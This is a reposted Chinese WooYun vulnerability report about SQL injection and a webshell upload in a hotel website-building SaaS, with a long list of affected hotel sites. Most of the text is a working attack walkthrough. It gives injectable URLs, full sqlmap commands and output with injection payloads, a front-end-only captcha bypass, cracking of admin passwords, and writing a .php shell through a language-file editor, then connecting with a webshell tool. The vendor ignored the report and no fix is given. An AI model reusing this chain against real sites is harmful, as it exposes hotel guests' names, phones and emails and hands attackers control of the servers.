某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

admin 2015年7月16日20:42:40评论275 views字数 245阅读0分49秒阅读模式
摘要

2014-10-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-01-20: 厂商已经主动忽略漏洞,细节向公众公开

漏洞概要 关注数(15) 关注此漏洞

缺陷编号: WooYun-2014-80011

漏洞标题: 某通用酒店建站系统 SQL注入( 已getshell)可查订房信息 某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

相关厂商: 广州市问途信息技术有限公司

漏洞作者: 小饼仔

提交时间: 2014-10-22 16:40

公开时间: 2015-01-20 16:40

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: SQL注入 cms getshell

4人收藏


漏洞详情

披露状态:

2014-10-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-01-20: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

该酒店建站系统用户包括单体酒店、集团酒店,集团酒店下面还有很多分店啊啊啊
可以查到用户的客房预订信息,信息包括姓名、电话、邮箱...
用户信息还可以导出、可以给用户推荐邮件等等
通过cms系统中的一个功能来getshell,不容易,花了些功夫
写的好辛苦,这个漏洞要是没 $ ,就再也不相信爱情了

详细说明:

1. 首先介绍下公司

名称: 广州市问途信息技术有限公司

网址:http://**.**.**.**/

介绍:中国酒店业最为专业的网络营销技术公司,运用互联网技术提升酒店收益,为酒店打造网络直销及客户服务平台以及酒店网络营销服务。包括酒店官方网站,多渠道预订引擎,客户会员营销管理系统,智能手机客户端和社会性媒体营销管理系统等。

keywords:酒店网络营销,酒店网站,酒店网站建设,酒店在线直销,酒店移动互联网营销,智能手机客户端,收益管理系统,预订引擎,微博营销,酒店会员管理,酒店,酒店网站开发,移动营销常客计划

2. 客户群

官网有一些最新的客户案例,如图

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

当然这只是一部分,根据官网的案例,得到关键字:技术伙伴:问途酒店网络营销顾问 html, 因为该公司之前好像有做过一套aspx的系统,新系统是php + mysql的,所以加上了个html,下面是搜索结果:

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

结果不少,这里列举一些例子,证明其通用性:

code 区域
河南天地粤海酒店 http://**.**.**.**/
博鳌和悦海景度假酒店 http://**.**.**.**/
青岛CHINA公社 http://**.**.**.**/
河源市龙源温泉大酒店有限公司 http://**.**.**.**/
成都天府阳光 http://**.**.**.**/
英德仙湖温泉度假区 http://**.**.**.**/
上海御庭集团 http://**.**.**.**/
首旅酒店集团 http://**.**.**.**/
首旅建国酒店管理有限公司 http://**.**.**.**/
成都钓鱼台精品酒店 http://**.**.**.**/
君廷国际酒店集团 http://**.**.**.**/
广东欧亚企业管理集团有限公司  http://**.**.**.**/
湖南湘投阳光集团有限公司 http://**.**.**.**/
厦门建发旅游集团股份有限公司  http://**.**.**.**/
粤海集团 http://**.**.**.**/
通程国际酒店管理有限责任公司 http://**.**.**.**/
奥园养生酒店 http://**.**.**.**/
凯荣都国际酒店 http://**.**.**.**/
上海久阳滨江酒店 **.**.**.**/
昆泰嘉华酒店 http://**.**.**.**/
广州远洋宾馆 http://**.**.**.**/
广东东方国际饭店 http://**.**.**.**/get_password.html
青海兴鼎安大酒店 http://**.**.**.**/get_password.html
三亚柏瑞精品海景酒店 http://**.**.**.**/get_password.html
南沙奥园养生酒店 http://**.**.**.**/special_offer_3.html
广州鸣泉居度假村 http://**.**.**.**/get_password.html
昆山新港湾大酒店 http://**.**.**.**/get_password.html
广东东方国际饭店 http://**.**.**.**/get_password.html
北京应物会议中心 http://**.**.**.**/get_password.html
北大荒国际饭店 http://**.**.**.**/get_password.html
三亚中亚国际大酒店 http://**.**.**.**/get_password.html
常州九洲环宇 http://**.**.**.**/get_password.html
广州逸林假日酒店 http://**.**.**.**/get_password.html
广东亚洲国际大酒店 http://**.**.**.**/get_password.html
桂林桂山华星酒店 http://**.**.**.**/get_password.html
嘉鸿华美达 http://**.**.**.**/get_password.html
深圳求水山酒店 http://**.**.**.**/get_password.html
最佳西方武汉五月花大酒店 http://**.**.**.**/get_password.html
常州福记逸高酒店 http://**.**.**.**/
苏州市冠云大酒店 http://**.**.**.**/get_password.html
三亚宝宏大酒店 http://**.**.**.**/get_password.html
五指山亚泰雨林度假酒店 http://**.**.**.**/get_password.html
广州威尼國际酒店 http://**.**.**.**/get_password.html
四会岭南东方酒店 http://**.**.**.**/get_password.html
海南亚泰温泉酒店 http://**.**.**.**/get_password.html
佛山铂顿国际公寓 http://**.**.**.**/get_password.html
青城(豪生)国际酒店 http://**.**.**.**/get_password.html
三亚湾玛格瑞特酒店 http://**.**.**.**/get_password.html
江苏省南通市文峰饭店 http://**.**.**.**/get_password.html
福州永泰香米拉温泉酒店 http://**.**.**.**/get_password.html
华北电力大厦 http://**.**.**.**/get_password.html
北京四川五粮液龙爪树宾馆 http://**.**.**.**/get_password.html
广东裕通大酒店有限公司 http://**.**.**.**/get_password.html
金燕国际温泉酒店 http://**.**.**.**/login.html
山东良友富临大酒店 http://**.**.**.**/get_password.html
红星剧院 http://**.**.**.**/member_forget.html

漏洞证明:

3. SQL注入

首先是SQL注入,注入点其实很多,

有找回密码处,url特征:

code 区域
http://网站地址/saas/Guest/getPassword/?jsoncallback=jQuery1910290548698278144_1413611376619&language=zh-cn&client_account=sy_brjp&code=&email=aa%**.**.**.**&_=1413611376622

登入处,url特征:

code 区域
http://网站地址/saas/Guest/login/?jsoncallback=jQuery18305360387680120766_1413698031182&code=&account_id=aaa%**.**.**.**&password=123456&client_account=hn_tdhotel&language=zh-cn&_=1413698195122

查询订单处等等,只要请求中包含了client_account这个参数,都存在注入。

这里以找回密码为例子,这里选几个例子证明通用性,来源包括官网给出的最新案例,和通过搜索引擎找到的例子

官网例子1.河南天地粤海酒店 http://**.**.**.**/

到网站,点击登入,然后忘记密码,

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

随便输入一个邮箱,然后burp抓包,请求链接:

code 区域
http://**.**.**.**/saas/Guest/getPassword/?jsoncallback=jQuery18305360387680120766_1413698031182&email=wooyun%**.**.**.**&client_account=hn_tdhotel&language=zh-cn&_=1413698837589

丢到SQLMAP中跑,

code 区域
python sqlmap.py -u "http://**.**.**.**/saas/Guest/getPassword/?jsoncallback=jQuery18305360387680120766_1413698031182&email=wooyun%**.**.**.**&client_account=hn_tdhotel&language=zh-cn&_=1413698837589"  -p client_account --batch --is-dba  --current-db --current-user --threads 10  -D dossm --tables

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: client_account
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: jsoncallback=jQuery18305360387680120766_1413698031182&email=wooyun@**.**.**.**&client_account=hn_tdhotel' AND 7081=7081 AND 'jXPH'='jXPH&language=zh-cn&_=1413698837589

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: jsoncallback=jQuery18305360387680120766_1413698031182&email=wooyun@**.**.**.**&client_account=hn_tdhotel' AND SLEEP(5) AND 'nnxL'='nnxL&language=zh-cn&_=1413698837589
---
back-end DBMS: MySQL 5.0.11
current user: 'dOsSM2012@%'
current database: 'dossm'
current user is DBA: True

[14:15:32] [INFO] fetching database names
[14:15:32] [INFO] fetching number of databases
[14:15:32] [INFO] resumed: 360
[14:15:32] [INFO] retrieving the length of query output
[14:15:32] [INFO] resumed: 18
[14:15:32] [INFO] resumed: information_schema
[14:15:32] [INFO] retrieving the length of query output
[14:15:32] [INFO] resumed: 14
[14:15:32] [INFO] resumed: base_pay_tmpl1
[14:15:32] [INFO] retrieving the length of query output
[14:15:32] [INFO] resumed: 15
[14:15:32] [INFO] resumed: base_pay_tmpl15
360个数据库,篇幅原因不列了

[14:37:24] [INFO] fetching tables for database: 'dossm'
[14:37:24] [INFO] fetching number of tables for database 'dossm'
[14:37:24] [INFO] retrieved: 63
[14:37:26] [INFO] retrieving the length of query output
[14:37:26] [INFO] retrieved: 15
[14:37:38] [INFO] retrieved: tbl_barcode_log
[14:37:38] [INFO] retrieving the length of query output
[14:37:38] [INFO] retrieved: 11
数据库dossm, 有63个表,不全列了

官网例子2.君廷酒店及度假村集团 http://**.**.**.**/member.html

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

code 区域
http://**.**.**.**/saas/Guest/getPassword/?jsoncallback=jQuery183091423977073282_1413701179987&language=zh-cn&client_account=bc_group&email=aaa%**.**.**.**&_=1413701192852
code 区域
python sqlmap.py -u "http://**.**.**.**/saas/Guest/getPassword/?jsoncallback=jQuery183091423977073282_1413701179987&language=zh-cn&client_account=bc_group&email=aaa%**.**.**.**&_=1413701192852" --is-dba --current-db  --current-user --threads 10 --batch --dbs -p client_account


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: client_account
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: jsoncallback=jQuery183091423977073282_1413701179987&language=zh-cn&client_acc
ount=bc_group' AND 9376=9376 AND 'RPyV'='RPyV&email=aaa@**.**.**.**&_=1413701192852
---
back-end DBMS: MySQL 5
current user: 'dOsSM2012@%'
current database: 'dossm'
current user is DBA: True
[14:57:06] [INFO] fetching database names
[14:57:06] [INFO] fetching number of databases
[14:57:06] [INFO] resumed: 360
[14:57:06] [INFO] retrieving the length of query output
[14:57:06] [INFO] resumed: 18
[14:57:06] [INFO] resumed: information_schema
[14:57:06] [INFO] retrieving the length of query output
[14:57:06] [INFO] resumed: 14
[14:57:06] [INFO] resumed: base_pay_tmpl1
[14:57:06] [INFO] retrieving the length of query output

搜索引擎例子1: 海南亚泰温泉酒店 http://**.**.**.**/get_password.html

验证码,只在前端验证,可绕过

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

code 区域
http://**.**.**.**/saas/Guest/getPassword/?jsoncallback=jQuery19106708567193709314_1413701355601&language=zh-cn&client_account=hn_ytwq&code=&email=aaa%40a**.**.**.**&_=1413701355604
code 区域
python sqlmap.py -u "http://**.**.**.**/saas/Guest/getPassword/?jsoncallback=jQuery19106708567193709314_1413701355601&language=zh-cn&client_account=hn_ytwq&code=&email=aaa%40a**.**.**.**&_=1413701355604"  -p client_account --batch --is-dba  --current-db --current-user --threads 10  --dbs

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: client_account
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: jsoncallback=jQuery19106708567193709314_1413701355601&language=zh-cn&client_a
ccount=hn_ytwq' AND 6097=6097 AND 'tiqT'='tiqT&code=&**.**.**.**&_=1413701355604
---

back-end DBMS: MySQL 5
current user: 'dOsSM2012@%'
current database: 'dossm'
current user is DBA: True
[15:01:14] [INFO] fetching database names
[15:01:14] [INFO] fetching number of databases
[15:01:14] [INFO] retrieved: 360
[15:01:17] [INFO] retrieving the length of query output
[15:01:17] [INFO] retrieved: 18
[15:01:35] [INFO] retrieved: information_schema
[15:01:35] [INFO] retrieving the length of query output

搜索引擎例子2: 福州永泰香米拉温泉酒店 http://**.**.**.**/get_password.html

验证码,只在前端验证,可绕过

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

code 区域
http://**.**.**.**/saas/Guest/getPassword/?jsoncaback=jQuery19104607683657668531_1413701675188&language=zh-cn&client_account=fz_ytxml&cod&email=aaa%40a**.**.**.**&_=1413701675191
code 区域
http://网站地址/saas/Guest/getPassword/?jsoncallback=jQuery1910290548698278144_1413611376619&language=zh-cn&client_account=sy_brjp&code=&email=aa%**.**.**.**&_=1413611376622

0

4. getshell

找到SQL注入后,想了想,不拿到shell不是好漏洞。所以开始通过sqlmap去getshell,发现用户没有写权限。所以就去找找后台,google发现后台链接,是官网地址的www换成cms,大部分例子都可以按照这个规则找到后台登入地址。例子有

http://**.**.**.**/ http://**.**.**.**/Login/login

http://**.**.**.**/ http://**.**.**.**/Login/login

http://**.**.**.**/ http://**.**.**.**/Login/login

http://**.**.**.**/ http://**.**.**.**/Login/login

http://**.**.**.**/ http://**.**.**.**/Login/login

http://**.**.**.**/ http://**.**.**.**/Login/login

http://**.**.**.**/ http://**.**.**.**/Login/login

http://**.**.**.**/ http://**.**.**.**/Login/login

http://**.**.**.**/ http://**.**.**.**/Login/login

http://**.**.**.**/ http://cms.**.**.**.**/Login/login

http://**.**.**.**/ http://**.**.**.**/Login/login

http://**.**.**.**/ http://**.**.**.**/Login/login

http://**.**.**.**/ http://**.**.**.**/

http://**.**.**.**/ http://**.**.**.**/

**.**.**.**/ http://**.**.**.**/Login/login

http://**.**.**.**/ http://**.**.**.**/Login/login

等等

界面类似:

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

那么问题来了,学挖掘机技术哪家强(账号密码是什么)?

经过寻找,发现数据库dossm中的表tbl_user保存的是账号密码,密码加密了,破解后

找到几个弱密码的通用账号,

mask 区域
http://网站地址/saas/Guest/getPassword/?jsoncallback=jQuery1910290548698278144_1413611376619&language=zh-cn&client_account=sy_brjp&code=&email=aa%**.**.**.**&_=1413611376622

1

随便找几个网站后台登入

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

然后我们简单看下系统的功能:

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

登入系统后,找找有什么地方可以上传shell,找了一圈,发现都是上传图片,后台也做了限制。不甘心,再找了找,发现有一个地方有点希望,可以上传.php后缀文件,还可以写文件,之后会介绍。

<poc>

我们先来看一下getshell的几个条件,

1. 需要找到外界可以访问的url路径

2. 可以找到url路径对应的绝对路径,并且该路径可写

这里随便找一个系统为例,其他同理,

首先我们来找条件1,

cms系统中找到任意一个可以上传图片的位置

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

点击图片,发现可以直接从外部访问

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

那么再找到该url对应的绝对路径,点击浏览选择

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

出现

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

burp请求

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

响应暴露绝对路径

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

code 区域
http://网站地址/saas/Guest/getPassword/?jsoncallback=jQuery1910290548698278144_1413611376619&language=zh-cn&client_account=sy_brjp&code=&email=aa%**.**.**.**&_=1413611376622

2

因为这里不能直接上传php后缀的文件,那么需要通过其他方式,经过寻找发现,

有一处位置可以写文件,且对文件后缀没有做限制,如图

(此处,其他系统可以构造url: htpp://cms网址/Website/languageFile,进入即可,如http://**.**.**.**/Website/languageFile,http://cms.**.**.**.**/Website/languageFile,

http://**.**.**.**/Website/languageFile)

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

我们来看一下burp请求,

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

那么我们的shell地址就是,http://**.**.**.**/public/upload/20141018/heiha.php

用菜刀连接之,密码xxx

</poc>

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

再看几个其他shell

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

修复方案:

你懂得~

版权声明:转载请注明来源 小饼仔@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):

登陆后才能进行评分

100%

0%

0%

0%

0%


评价

  1. 2014-10-22 16:47 | 小饼仔 ( 普通白帽子 | Rank:403 漏洞数:50 | zzz)

    0

    @疯狗 为什么我这个走的是小厂商 我的和 wooyun-2014-080156 是同一个系统,为什么我不能上首页!

  2. 2014-10-27 14:21 | 疯狗 某通用酒店建站系统 SQL注入( 已getshell)可查订房信息 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    0

    @小饼仔 呃,就是打漏洞啊(首显的)。

  3. 2014-10-27 14:28 | 小饼仔 ( 普通白帽子 | Rank:403 漏洞数:50 | zzz)

    0

    @疯狗 狗哥终于回复了,原来走的是小厂商啊,没上首页,,然后回复说审核有点问题,说帮我改过来了,但是还是没上首页,还有个疑问,为什么我的洞不是直接给cncert,而是联系厂商啊,WooYun-2014-80156同一系统都是直接给cncert了

  4. 2014-10-27 14:33 | 疯狗 某通用酒店建站系统 SQL注入( 已getshell)可查订房信息 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    0

    @小饼仔 审核尽量都是通报企业直接对漏洞进行修复的,一些敏感政企类的会走cert通报

  5. 2014-10-27 14:44 | 小饼仔 ( 普通白帽子 | Rank:403 漏洞数:50 | zzz)

    0

    @疯狗 好,多谢回复

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin